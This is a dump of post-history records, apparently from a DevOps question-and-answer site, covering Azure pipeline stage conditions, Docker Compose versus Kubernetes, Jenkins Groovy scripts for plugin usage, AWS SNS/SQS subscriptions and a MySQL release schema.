  <row Id="40732" PostHistoryTypeId="2" PostId="13223" RevisionGUID="412b03b5-1bb6-4e11-a869-96eba62a02af" CreationDate="2021-01-25T19:00:21.173" UserId="14940" Text="Try and add a Stage condition to only run that stage for a specific branch. &#xD;&#xA;&#xD;&#xA;    condition: and(succeeded(), eq(variables['Build.SourceBranch'], 'refs/heads/master'))&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    stages:&#xD;&#xA;    - stage: A&#xD;&#xA;                 .....&#xD;&#xA;   &#xD;&#xA;    - stage: B&#xD;&#xA;      **condition: and(succeeded(), eq(variables['Build.SourceBranch'], 'refs/heads/master'))**&#xD;&#xA;      jobs:&#xD;&#xA;      - job: B1&#xD;&#xA;        steps:&#xD;&#xA;          - script: echo Hello Stage B!&#xD;&#xA;          - script: echo $(isMain)&#xD;&#xA;&#xD;&#xA;Reference : https://docs.microsoft.com/en-us/azure/devops/pipelines/process/conditions?view=azure-devops&amp;tabs=yaml&#xD;&#xA;&#xD;&#xA;PS : Will refine the answer in future, currently we are still using GUI for releases and we are using this branch filter to control this scenario. &#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/GZWfa.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="40733" PostHistoryTypeId="2" PostId="13224" RevisionGUID="8022527d-b5f3-438f-8858-488f57c8f03a" CreationDate="2021-01-25T19:11:41.687" UserId="14940" Text="Continuous Deployment is certainly a no brainer for mission critical applications but you may try Azure DevOps from MS which integrates with AWS beautifully and has provisions for environment approvals which can help move to that state in a user friendly and elegant manner. IMO, AWS code deploy is still not at par with Azure DevOps. And perhaps you may want to incrementally move there and refine your used case. &#xD;&#xA;&#xD;&#xA;e.g. Instead of weekend deploy, you can make the process decoupled and efficient that you can do it on a Friday night, then setup blue/green in Beanstalk or EKS et to reach that state. Also for the 6000 hosts, you definitely want to try and see which can live in Kubernetes for ephemeral instances and review the infrastructure footprint. Don't forget cloud is expensive, a lift and shift of that many VMs would have exponential costs in cloud. &#xD;&#xA;&#xD;&#xA;I work in healthcare so unsure about retailers, but thought I will suggest that tool (Azure DevOps) incase your client isn't familiar with DevOps for easier transition. &#xD;&#xA;&#xD;&#xA;Also to be more comprehensive, consider monitoring, security etc also as a part of your effort in your white paper. &#xD;&#xA;&#xD;&#xA;One of the most comprehensive DevOps roadmap (evolving) is this, you may consider all the aspects from this chart for your whitepaper -&#xD;&#xA;&#xD;&#xA;https://roadmap.sh/devops" ContentLicense="CC BY-SA 4.0" />
  <row Id="40734" PostHistoryTypeId="2" PostId="13225" RevisionGUID="4e2c0e1c-8096-4e21-9e7b-8c0d46aa5e0f" CreationDate="2021-01-25T19:56:47.570" UserId="24120" Text="I got a work around to this case. basically, My root volume is 100GB and I created a separate partition out of it as 70GB and I set it to a new device sda3 and mounted it to /var/lib.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;now, all docker container logs are written in same path but in backend they are mounted to a different drive. with this setup, even if there is disk pressure, the node does not become unavailable. &#xD;&#xA;&#xD;&#xA;so my drive now looks liek below&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;sda1&#xD;&#xA;sda2 / 30GB&#xD;&#xA;sda3 /var/lib 70GB.  &lt;&lt; new device&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40735" PostHistoryTypeId="2" PostId="13226" RevisionGUID="d5c0f746-c243-43fd-ac97-cbb529eada5f" CreationDate="2021-01-25T20:18:53.050" UserId="25796" Text="Consider the scenario where I have:&#xD;&#xA;* 4 replicas of an app&#xD;&#xA;* 4 cores&#xD;&#xA;* On load, the app consumes 100% for a single core&#xD;&#xA;&#xD;&#xA;Can I tell each replica to only use 50% of the core and if so, would this allow at most 8 simultaneous connections to the app? I have just dipped my toe into this stuff so an feedback would be appreciated." ContentLicense="CC BY-SA 4.0" />
  <row Id="40736" PostHistoryTypeId="1" PostId="13226" RevisionGUID="d5c0f746-c243-43fd-ac97-cbb529eada5f" CreationDate="2021-01-25T20:18:53.050" UserId="25796" Text="Increase concurrent users by limiting container resources with docker-swarm" ContentLicense="CC BY-SA 4.0" />
  <row Id="40737" PostHistoryTypeId="3" PostId="13226" RevisionGUID="d5c0f746-c243-43fd-ac97-cbb529eada5f" CreationDate="2021-01-25T20:18:53.050" UserId="25796" Text="&lt;containers&gt;&lt;docker-swarm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40738" PostHistoryTypeId="2" PostId="13227" RevisionGUID="247b0e72-af2b-4770-9024-7fb5fa54439a" CreationDate="2021-01-25T23:48:57.220" UserId="22497" Text="I ended up following this path&#xD;&#xA;&#xD;&#xA;Rather than use cron, i used a scheduling framework (in my case Bree.js) which allowed me to &quot;jobify&quot; the tasks and also execute these tasks in separate processes - this allowed me the vertical expansion needed (ie: using more processor cores)&#xD;&#xA;&#xD;&#xA;A docker container contains the dispatch (scheduling) and jobs - so once the container is started, jobs (and associated processes) are created/managed within that container&#xD;&#xA;&#xD;&#xA;Eventually, when I need to scale horizontally, the &quot;dispatch&quot; function will morph to running a job whose sole purpose is to post an event  (eg: Azure service bus).  I will have an orchestrator running various containers who read from the queue and process accordingly.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40739" PostHistoryTypeId="2" PostId="13228" RevisionGUID="2a89a83f-af1c-4c9c-b19d-4c26c80ddc93" CreationDate="2021-01-26T07:00:48.263" UserId="10646" Text="Having permissions per object (owner, editor, reader, etc.) is a pattern that repeats itself in many products (examples: Facebook groups/pages, Whatsapp groups, Google Calendar, Google Drive, etc.).&#xD;&#xA;&#xD;&#xA;There are many 3rd party tools that handle the login process, like Auth0, AWS Cognito, Firebase Auth, etc., but none of them offer to handle permissions.&#xD;&#xA;&#xD;&#xA;I heard about Firebase Realtime Database Rules, but it's too specific to Firebase, and will lock me there, while I'm looking for a more generic solution.&#xD;&#xA;&#xD;&#xA;I think I'll be happy with a generic product that will hold the object IDs and the users' permissions to it in a DB, and will act as a middleware that will decide, per-request, whether or not the user has access and what kind - and then pass it along to the request handler. This will help me not to develop it myself for each project of mine.&#xD;&#xA;&#xD;&#xA;Does anyone know products of that sort? Does anyone have another solution for me?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40740" PostHistoryTypeId="1" PostId="13228" RevisionGUID="2a89a83f-af1c-4c9c-b19d-4c26c80ddc93" CreationDate="2021-01-26T07:00:48.263" UserId="10646" Text="Object-based permissions (architecture question)" ContentLicense="CC BY-SA 4.0" />
  <row Id="40741" PostHistoryTypeId="3" PostId="13228" RevisionGUID="2a89a83f-af1c-4c9c-b19d-4c26c80ddc93" CreationDate="2021-01-26T07:00:48.263" UserId="10646" Text="&lt;permissions&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40742" PostHistoryTypeId="5" PostId="13216" RevisionGUID="010d044c-a526-4f45-922f-49ee31f3c77b" CreationDate="2021-01-26T10:06:20.587" UserId="25786" Comment="deleted 1367 characters in body; edited title" Text="What are they key stages of migrating to AWS with Devops ? &#xD;&#xA;&#xD;&#xA;Can anyone list a use case or workflow?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40743" PostHistoryTypeId="4" PostId="13216" RevisionGUID="010d044c-a526-4f45-922f-49ee31f3c77b" CreationDate="2021-01-26T10:06:20.587" UserId="25786" Comment="deleted 1367 characters in body; edited title" Text="Migrating to AWS with Devops" ContentLicense="CC BY-SA 4.0" />
  <row Id="40744" PostHistoryTypeId="2" PostId="13229" RevisionGUID="b562327a-fea2-44f0-bf60-db3b824ccf61" CreationDate="2021-01-26T10:50:35.923" UserId="13356" Text="I found Docker Compose just [release 1.28 on 2021-1-20][1] but as Kubernetes won the container orchestration war I am not sure where and why I may still need Docker Compose, under with case Docker Compose is a better option?&#xD;&#xA;&#xD;&#xA;I know it may sound like option based question but I really need to know if it is still worth to learn docker compose.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/compose/release-notes/" ContentLicense="CC BY-SA 4.0" />
  <row Id="40745" PostHistoryTypeId="1" PostId="13229" RevisionGUID="b562327a-fea2-44f0-bf60-db3b824ccf61" CreationDate="2021-01-26T10:50:35.923" UserId="13356" Text="Where may I need Docker Compose as Kubernetes won the container orchestration war?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40746" PostHistoryTypeId="3" PostId="13229" RevisionGUID="b562327a-fea2-44f0-bf60-db3b824ccf61" CreationDate="2021-01-26T10:50:35.923" UserId="13356" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40747" PostHistoryTypeId="5" PostId="13229" RevisionGUID="401061fd-ee7b-4d08-a770-4bbe3856c632" CreationDate="2021-01-26T11:53:32.857" UserId="13356" Comment="added 192 characters in body" Text="I found Docker Compose just [release 1.28 on 2021-1-20][1] but as Kubernetes won the container orchestration war I am not sure where and why I may still need Docker Compose, under with case Docker Compose is a better option?&#xD;&#xA;&#xD;&#xA;I have a web app that consists of a php docker, a nodejs docker, a nginx docker. We host it at [aliyun][2] cloud service. In 2018 aliyun used docker swarm so we used docker compose but in 2020 we had switched k8s so I was wondering if it is still worth to learn docker compose ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/compose/release-notes/&#xD;&#xA;  [2]: https://www.aliyun.com/" ContentLicense="CC BY-SA 4.0" />
  <row Id="40748" PostHistoryTypeId="2" PostId="13230" RevisionGUID="fcaee9b8-f85d-42a4-8f79-fd6bd7a7d850" CreationDate="2021-01-26T18:37:08.527" UserId="6162" Text="&gt;why I may still need Docker Compose, under with case Docker Compose is a better option?&#xD;&#xA;&#xD;&#xA;Need it for what? Better for what?&#xD;&#xA;Docker Compose is mostly a different way to link multiple container-apps compared to Kubernetes and probably slightly more lightweight on a Desktop.&#xD;&#xA;&#xD;&#xA;But if you run your apps in Kubernetes in production, you probably want to use as similar as possible solution on Desktop as well or none. In this case [Kind][1] or [Minikube][2] is popular alternatives for Desktop - but usually you want to only run the app directly from the IDE when developing and only in some cases test it in a Kubernetes networked environment.&#xD;&#xA;&#xD;&#xA;&gt;I was wondering if it is still worth to learn docker compose ?&#xD;&#xA;&#xD;&#xA;Knowledge is good. At least you would learn when to use Docker Compose and when to use Kubernetes with knowledge about both. But if you are using Kubernetes at work and in production it is probably better use of your time to improve your Kubernetes skills and knowledge.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kind.sigs.k8s.io/&#xD;&#xA;  [2]: https://minikube.sigs.k8s.io/" ContentLicense="CC BY-SA 4.0" />
  <row Id="40749" PostHistoryTypeId="2" PostId="13231" RevisionGUID="8fd5cef9-d0eb-45c6-962e-26111e763683" CreationDate="2021-01-26T19:01:53.637" UserId="25804" Text="I've found it's a useful strategy to create relevant queues whenever a queue worker service boots. For instance, on service boot, it checks whether its queues exist already in AWS and creates them if they don't.&#xD;&#xA;&#xD;&#xA;Something I'm struggling with now is how to ensure that an SNS subscription for the queue exists. Checking whether the queue exists and creating it if not is easy, subscribing a queue to a particular SNS topic on boot is also easy - but I can't seem to find a sensible way of checking whether a particular queue is already subscribed to a topic!&#xD;&#xA;&#xD;&#xA;If it helps, this will be using the Ruby SDK - but I think that the clients across the languages are pretty much all the same. If I can find a sensible way with the cli client it will most likely be available in the ruby sdk.&#xD;&#xA;&#xD;&#xA;The only thing I've come up with so far is to [list all the subscriptions](https://docs.aws.amazon.com/sdk-for-ruby/v3/api/Aws/SNS/Client.html#list_subscriptions-instance_method) and then filter them, but this seems a really silly way of doing it as there could be tonnes of subscriptions - I'd rather not have to deal with paging responses on worker boot.&#xD;&#xA;&#xD;&#xA;It would be great if there were a way to retrieve whether a subscription is active, based on parameters of the queue ARN and the topic ARN." ContentLicense="CC BY-SA 4.0" />
  <row Id="40750" PostHistoryTypeId="1" PostId="13231" RevisionGUID="8fd5cef9-d0eb-45c6-962e-26111e763683" CreationDate="2021-01-26T19:01:53.637" UserId="25804" Text="AWS SNS-SQS: Checking a subscription already exists" ContentLicense="CC BY-SA 4.0" />
  <row Id="40751" PostHistoryTypeId="3" PostId="13231" RevisionGUID="8fd5cef9-d0eb-45c6-962e-26111e763683" CreationDate="2021-01-26T19:01:53.637" UserId="25804" Text="&lt;amazon-web-services&gt;&lt;aws-cli&gt;&lt;amazon-sqs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40752" PostHistoryTypeId="10" PostId="13216" RevisionGUID="66a51de9-4b8e-42f5-b331-7fb64a43b1eb" CreationDate="2021-01-26T19:43:22.993" UserId="40" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="40753" PostHistoryTypeId="2" PostId="13232" RevisionGUID="986d7854-c8c3-409b-b3be-ce50ea6b06ad" CreationDate="2021-01-26T21:30:38.620" UserId="16581" Text="I'm trying to list the jenkins jobs per plugin is being utilized. I see there's a plugin in jenkins, https://github.com/jenkinsci/plugin-usage-plugin, which displays the plugins usage in the Jenkins UI. But how do i get the same output from the groovy script?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40754" PostHistoryTypeId="1" PostId="13232" RevisionGUID="986d7854-c8c3-409b-b3be-ce50ea6b06ad" CreationDate="2021-01-26T21:30:38.620" UserId="16581" Text="How do i print the list of jobs per plugin in Jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="40755" PostHistoryTypeId="3" PostId="13232" RevisionGUID="986d7854-c8c3-409b-b3be-ce50ea6b06ad" CreationDate="2021-01-26T21:30:38.620" UserId="16581" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;groovy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40756" PostHistoryTypeId="50" PostId="5377" RevisionGUID="d1abd38b-2835-4ace-829e-ea3ff6138111" CreationDate="2021-01-27T00:07:30.777" UserId="-1" />
  <row Id="40757" PostHistoryTypeId="2" PostId="13233" RevisionGUID="18e6938d-f9ad-46e0-9328-a88f74a2630c" CreationDate="2021-01-27T01:47:44.453" UserId="4115" Text="This is possible, but you'll have to use scripted Pipelines, not declarative, disable the Groovy sandbox for pipelines, and dig deep into the Jenkins API.&#xD;&#xA;&#xD;&#xA;For instance, I wrote a Pipeline job that edits the parameters of a second job which has a full name of &quot;SCA/deploy_to_environment/master&quot;.  Here's a snippet of that code - I'm eliding how to create the &quot;Param&quot; objects in the first line for brevity, this snippet is just to give you an idea of what a similar use case looks like:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;def paramProp = new ParametersDefinitionProperty(envParam, pgParam, infoParam)&#xD;&#xA;&#xD;&#xA;def job = Jenkins.instance.getItemByFullName('SCA/deploy_to_environment/master')&#xD;&#xA;&#xD;&#xA;// There is no &quot;setProperty&quot; - we need to remove and replace.&#xD;&#xA;// removeProperty is safe to run even if no matching properties are set on the job.&#xD;&#xA;// However, this method only removes one property per method call.&#xD;&#xA;// Theoretically, this means the job could accumulate multiple conflicting&#xD;&#xA;// ParametersDefinitionProperty properties.&#xD;&#xA;// TODO: run removeProperty in a while loop to eliminate all matching properties for extra safety.&#xD;&#xA;job.removeProperty(ParametersDefinitionProperty)&#xD;&#xA;&#xD;&#xA;job.addProperty(paramProp)&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;So to fetch the values instead of simply editing them, you would need to instead call `getProperty` ([API doc here](https://javadoc.jenkins.io/hudson/model/Job.html#getProperty-java.lang.Class-)), passing the class name of the GitLab Project parameter classes. I suspect the class name you'll need is available somewhere in the source code or the [API docs for that plugin](https://javadoc.jenkins.io/plugin/gitlab-branch-source/io/jenkins/plugins/gitlabbranchsource/package-summary.html), but I'm not sure.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;However, I have to ask, why do you want to do this?  What's the big picture here?&#xD;&#xA;&#xD;&#xA;It sounds kind of like you want to share a single Jenkinsfile or build pipeline among multiple repositories.  I also have this use case at my job - we need to have one Jenkinsfile shared across nearly 200 repositories.  If this is similar to your need, then consider using [Jenkins Shared Libraries](https://www.jenkins.io/doc/book/pipeline/shared-libraries/).  You can put all of your build pipeline code into a single shared library, then call the shared library in a single line from the Jenkinsfile in your individual repositories." ContentLicense="CC BY-SA 4.0" />
  <row Id="40758" PostHistoryTypeId="2" PostId="13234" RevisionGUID="2a9db51d-945a-4add-b03e-8cd897d8eef7" CreationDate="2021-01-27T01:58:45.503" UserId="4115" Text="By default, there is no way to visualize skipped stages in the Jenkins UI.  [See this issue report on the Jenkins JIRA about visualizing skipped stages](https://issues.jenkins.io/browse/JENKINS-54322?page=com.atlassian.jira.plugin.system.issuetabpanels%3Aall-tabpanel).&#xD;&#xA;&#xD;&#xA;There are a few workarounds that I'm aware of:&#xD;&#xA;&#xD;&#xA;You can [disable the Groovy sandbox](https://www.jenkins.io/doc/book/managing/script-approval/#groovy-sandbox) to allow importing the aforementioned class.&#xD;&#xA;&#xD;&#xA;You can also use the [imperative-when plugin](https://github.com/comquent/imperative-when) for scripted Pipelines as described in [this blog post](https://medium.com/@Lopay/how-to-skip-stages-in-jenkins-scripted-pipeline-f653e54d835d) to add visualization (note that I haven't tested this personally).&#xD;&#xA;&#xD;&#xA;Or you can skip the visualization altogether and wrap your build steps in an if clause to conditionally execute them.  You'll see in the Jenkins UI that a stage takes 0ms to execute if it has no steps, so there's at least some indication that it was skipped even if it doesn't explicitly say &quot;skipped&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40759" PostHistoryTypeId="2" PostId="13235" RevisionGUID="b5d62e7f-57bc-47fd-b5a9-b53ba67c6174" CreationDate="2021-01-27T02:35:59.957" UserId="24678" Text="I want to create a schema that reflects the following relationships, and I'm trying to do this in MySQL Workbench. (I'm no DB expert)&#xD;&#xA;&#xD;&#xA; - I have 3 environments - sandbox, staging, and production&#xD;&#xA; - I release a product version in each environment, e.g., `sb-1.0.0` for sandbox, `st-1.0.0` for staging, and `pr-1.0.0` for production. I can have multiple releases per environment, but there can only be ONE version that's currently released in each environment.&#xD;&#xA; - Each product version in each environment contains a set of services, same set of services in all the environments, but differing in their version numbers. So `sb-1.0.0 = [svc1-2.0.0, svc2-2.0.0], st-1.0.0 = [svc1-1.0.0, svc2-2.0.0], and pr-1.0.0 = [svc1-1.0.0, svc2-1.0.0]`. As you can see, I have the same 2 services in each environment, but the service versions can be different (or the same) in each  environments.&#xD;&#xA;&#xD;&#xA;I want to accomplish multiple things.&#xD;&#xA;- I want to be able to create new releases in each environment, with each release containing the set of services and corresponding versions. So I want to be able to create a `pr-2.0.0` version.&#xD;&#xA;- I want to be able to query my DB for version `pr-1.0.0` and know all the services and their respective versions in this particular release.&#xD;&#xA;- I want to have the notion of a &quot;current version&quot; and a &quot;desired version&quot; for each service in each environment.&#xD;&#xA;- I want to be be able to then run a script (Kubernetes?) to release each service and their respective version based on the query.&#xD;&#xA;&#xD;&#xA;So how do I model my DB?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40760" PostHistoryTypeId="1" PostId="13235" RevisionGUID="b5d62e7f-57bc-47fd-b5a9-b53ba67c6174" CreationDate="2021-01-27T02:35:59.957" UserId="24678" Text="How can I model this schema in MySQL?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40761" PostHistoryTypeId="3" PostId="13235" RevisionGUID="b5d62e7f-57bc-47fd-b5a9-b53ba67c6174" CreationDate="2021-01-27T02:35:59.957" UserId="24678" Text="&lt;databases&gt;&lt;mysql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40762" PostHistoryTypeId="5" PostId="13235" RevisionGUID="5ed95bb5-9b9b-48d7-b40f-11452c2cb08f" CreationDate="2021-01-27T02:42:04.537" UserId="24678" Comment="added 85 characters in body" Text="I want to create a schema that reflects the following relationships, and I'm trying to do this in MySQL Workbench. (I'm no DB expert)&#xD;&#xA;&#xD;&#xA; - I have 3 environments - sandbox, staging, and production&#xD;&#xA; - I release a product version in each environment, e.g., `sb-1.0.0` for sandbox, `st-1.0.0` for staging, and `pr-1.0.0` for production. I can have multiple releases per environment, but there can only be ONE version that's currently released in each environment.&#xD;&#xA; - Each product version in each environment contains a set of services, same set of services in all the environments, but differing in their version numbers. So `sb-1.0.0 = [svc1-2.0.0, svc2-2.0.0], st-1.0.0 = [svc1-1.0.0, svc2-2.0.0], and pr-1.0.0 = [svc1-1.0.0, svc2-1.0.0]`. As you can see, I have the same 2 services in all environments, but the service versions can be different (or the same) in each  environment.&#xD;&#xA;&#xD;&#xA;I want to accomplish multiple things.&#xD;&#xA;- I want to be able to create new releases in each environment, with each release containing the set of services and corresponding versions. So I want to be able to create a `pr-2.0.0 = [svc1-2.0.0, svc2-1.0.0]` version.&#xD;&#xA;- I want to be able to query my DB for version `pr-1.0.0` and know all the services and their respective versions in this particular release.&#xD;&#xA;- I want to have the notion of a &quot;current version&quot; and a &quot;desired version&quot; for each service in each environment.&#xD;&#xA;- I want to be be able to then run a script (Kubernetes?) to release each service and their respective version based on the query.&#xD;&#xA;- I want to be able to extend it to more environments, e.g., add a UAT environment.&#xD;&#xA;&#xD;&#xA;So how do I model my DB?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40763" PostHistoryTypeId="5" PostId="13189" RevisionGUID="27d9fe30-2e0c-48ac-9954-89c56ea031d4" CreationDate="2021-01-27T08:00:36.660" UserId="25736" Comment="added 63 characters in body" Text="We have set up the Azure DevOps Release Pipeline with a custom Agent that is running in Azure VM.&#xD;&#xA;Agent has to run also end-to-end tests from DevOps Release, hence it starts interactively via:&#xD;&#xA;&#xD;&#xA;    C:\windows\system32\cmd.exe /D /S /C start &quot;Agent with AutoLogon&quot; &quot;C:\agent\run.cmd&quot; --startuptype autostartup &#xD;&#xA;&#xD;&#xA;User that is automatically logged in (and runs the command above) VM is part of Administrator group. Everything runs fine until I try to run &quot;PowerShell Script&quot; which requires admin privileges. For example &quot;Import-Certificate&quot; command gives me &quot;Access Denied&quot; error.&#xD;&#xA;I know about workaround with&#xD;&#xA;&#xD;&#xA;    Start-Process powershell -ArgumentList 'command' -Verb RunAs&#xD;&#xA;That is working fine, but with this, I am missing the output of the 'command'. &#xD;&#xA;I mean, whether the 'command' fails or succeeds it does not notify back to output.&#xD;&#xA;&#xD;&#xA;Any ideas on how can I run elevated PS or what other permissions to configure?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40765" PostHistoryTypeId="2" PostId="13237" RevisionGUID="15e488ab-6065-407b-88c6-0906687aa50b" CreationDate="2021-01-27T09:16:59.897" UserId="13379" Text="They quick and dirty answer is to &quot;[Display jobs group by the build steps they use][1]&quot; as updated below.&#xD;&#xA;&#xD;&#xA;    import hudson.model.*&#xD;&#xA;    import hudson.tasks.*&#xD;&#xA;    &#xD;&#xA;    //All the projects on which we can apply the getBuilders method&#xD;&#xA;    def allProjects = Jenkins.instance.allItems.findAll{ it instanceof Project }&#xD;&#xA;    &#xD;&#xA;    //All the registered build steps in the current Jenkins Instance&#xD;&#xA;    def allSteps = Builder.all()&#xD;&#xA;    &#xD;&#xA;    //Group the projects by the build steps used&#xD;&#xA;    def projectsGroupBySteps = allSteps.inject([:]){&#xD;&#xA;       map, step -&gt;&#xD;&#xA;       map[step.clazz.name] = allProjects.findAll{it.builders.any{ &#xD;&#xA;    		it.class.name.contains(step.clazz.name)}}.collect{it.fullName}&#xD;&#xA;       map&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    //Presentation&#xD;&#xA;    projectsGroupBySteps.sort().each{&#xD;&#xA;    	println &quot;--- ($it.value.size) $it.key ---&quot;&#xD;&#xA;    }&#xD;&#xA;    println ''&#xD;&#xA;    &#xD;&#xA;    println 'Occcurences:'&#xD;&#xA;    projectsGroupBySteps.sort().each{&#xD;&#xA;    println &quot;--- ($it.value.size) $it.key ---&quot;&#xD;&#xA;    	it.value.each {&#xD;&#xA;    		println it }&#xD;&#xA;    	println ''&#xD;&#xA;    }&#xD;&#xA;    return&#xD;&#xA;&#xD;&#xA;Note that a job has multiple sections: **builders**, **publishers** and **buildWrappers**.&#xD;&#xA;Depending on what you are looking for, replace&#xD;&#xA;&#xD;&#xA;    [allSteps = Builder.all(), allProjects.findAll{it.builders.any ]&#xD;&#xA;    [allSteps = Publisher.all(), allProjects.findAll{it.publishers.any ]&#xD;&#xA;    [allSteps = BuildWrapper.all(), allProjects.findAll{it.buildWrappers.any ]&#xD;&#xA;&#xD;&#xA;Plugins may also be involved in the **SCM** section and as **properties** (eg: `hudson.plugins.buildblocker.BuildBlockerProperty`, `com.sonyericsson.jenkins.plugins.bfa.model.ScannerJobProperty`)&#xD;&#xA;&#xD;&#xA;Obviously, same limitations of plugin-usage apply: does not scan pipeline plugin usage or build steps nested within an `org.jenkinsci.plugins.conditionalbuildstep`&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Display+jobs+group+by+the+build+steps+they+use" ContentLicense="CC BY-SA 4.0" />
  <row Id="40766" PostHistoryTypeId="2" PostId="13238" RevisionGUID="1fd1ae8f-cb13-4fc4-a459-b59e9210407e" CreationDate="2021-01-27T09:50:58.157" UserId="17276" Text="I know of git rebase but don't know if it can be used with AWS code commit?&#xD;&#xA;Or if there's any other method of removing a commit to revert back to before it was made and merged?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40767" PostHistoryTypeId="1" PostId="13238" RevisionGUID="1fd1ae8f-cb13-4fc4-a459-b59e9210407e" CreationDate="2021-01-27T09:50:58.157" UserId="17276" Text="Can you remove a commit made to a branch on AWS code commit?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40768" PostHistoryTypeId="3" PostId="13238" RevisionGUID="1fd1ae8f-cb13-4fc4-a459-b59e9210407e" CreationDate="2021-01-27T09:50:58.157" UserId="17276" Text="&lt;amazon-web-services&gt;&lt;git&gt;&lt;versioning&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40769" PostHistoryTypeId="5" PostId="13237" RevisionGUID="4bbc0982-ef4f-4f74-9d7a-b2917bf1e672" CreationDate="2021-01-27T10:18:01.190" UserId="13379" Comment="added 6 characters in body" Text="They quick and dirty answer is to &quot;[Display jobs group by the build steps they use][1]&quot; as updated below.&#xD;&#xA;&#xD;&#xA;    import hudson.model.*&#xD;&#xA;    import hudson.tasks.*&#xD;&#xA;    &#xD;&#xA;    //All the projects on which we can apply the getBuilders method&#xD;&#xA;    def allProjects = Jenkins.instance.allItems.findAll{ it instanceof Project }&#xD;&#xA;    &#xD;&#xA;    //All the registered build steps in the current Jenkins Instance&#xD;&#xA;    def allSteps = Builder.all()&#xD;&#xA;    &#xD;&#xA;    //Group the projects by the build steps used&#xD;&#xA;    def projectsGroupBySteps = allSteps.inject([:]){&#xD;&#xA;       map, step -&gt;&#xD;&#xA;       map[step.clazz.name] = allProjects.findAll{it.builders.any{ &#xD;&#xA;    		it.class.name.contains(step.clazz.name)}}.collect{it.fullName}&#xD;&#xA;       map&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    //Presentation&#xD;&#xA;    projectsGroupBySteps.sort().each{&#xD;&#xA;    	println &quot;--- ($it.value.size) $it.key ---&quot;&#xD;&#xA;    }&#xD;&#xA;    println ''&#xD;&#xA;    &#xD;&#xA;    println 'Occcurences:'&#xD;&#xA;    projectsGroupBySteps.sort().each{&#xD;&#xA;    println &quot;--- ($it.value.size) $it.key ---&quot;&#xD;&#xA;    	it.value.each {&#xD;&#xA;    		println it }&#xD;&#xA;    	println ''&#xD;&#xA;    }&#xD;&#xA;    return&#xD;&#xA;&#xD;&#xA;Note that a job has multiple sections: **builders**, **publishers** and **buildWrappers**.&#xD;&#xA;Depending on what you are looking for, replace&#xD;&#xA;&#xD;&#xA;    [allSteps = Builder.all(), allProjects.findAll{it.builders.any ]&#xD;&#xA;    [allSteps = Publisher.all(), allProjects.findAll{it.publishers.any ]&#xD;&#xA;    [allSteps = BuildWrapper.all(), allProjects.findAll{it.buildWrappers.any ]&#xD;&#xA;&#xD;&#xA;Plugins may also be involved in the **SCM** section and as **properties** (eg: `hudson.plugins.buildblocker.BuildBlockerProperty`, `com.sonyericsson.jenkins.plugins.bfa.model.ScannerJobProperty`)&#xD;&#xA;&#xD;&#xA;Obviously, same limitations of plugin-usage apply: does not scan pipeline steps plugin usage or build steps nested within an `org.jenkinsci.plugins.conditionalbuildstep`&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Display+jobs+group+by+the+build+steps+they+use" ContentLicense="CC BY-SA 4.0" />
  <row Id="40770" PostHistoryTypeId="5" PostId="4108" RevisionGUID="01cb4c9a-febf-406a-a588-62b7d08a0379" CreationDate="2021-01-27T11:23:50.210" UserId="5252" Comment="edited body" Text="You can simply put a `sonar.properties` file under `/opt/docker-sonar/conf/`. This file will be available inside the container under `/opt/sonarqube/conf/`, because the folder gets mounted as volume.&#xD;&#xA;&#xD;&#xA;A full example for a `sonar.properties` file can be found on [github](https://github.com/SonarSource/sonarqube/blob/master/sonar-application/src/main/assembly/conf/sonar.properties). However all you need to enter is:&#xD;&#xA;&#xD;&#xA;    sonar.ce.javaOpts=-Xmx&lt;XMX_VALUE -Xms&lt;XMS_VALUE&gt; -XX:+HeapDumpOnOutOfMemoryError" ContentLicense="CC BY-SA 4.0" />
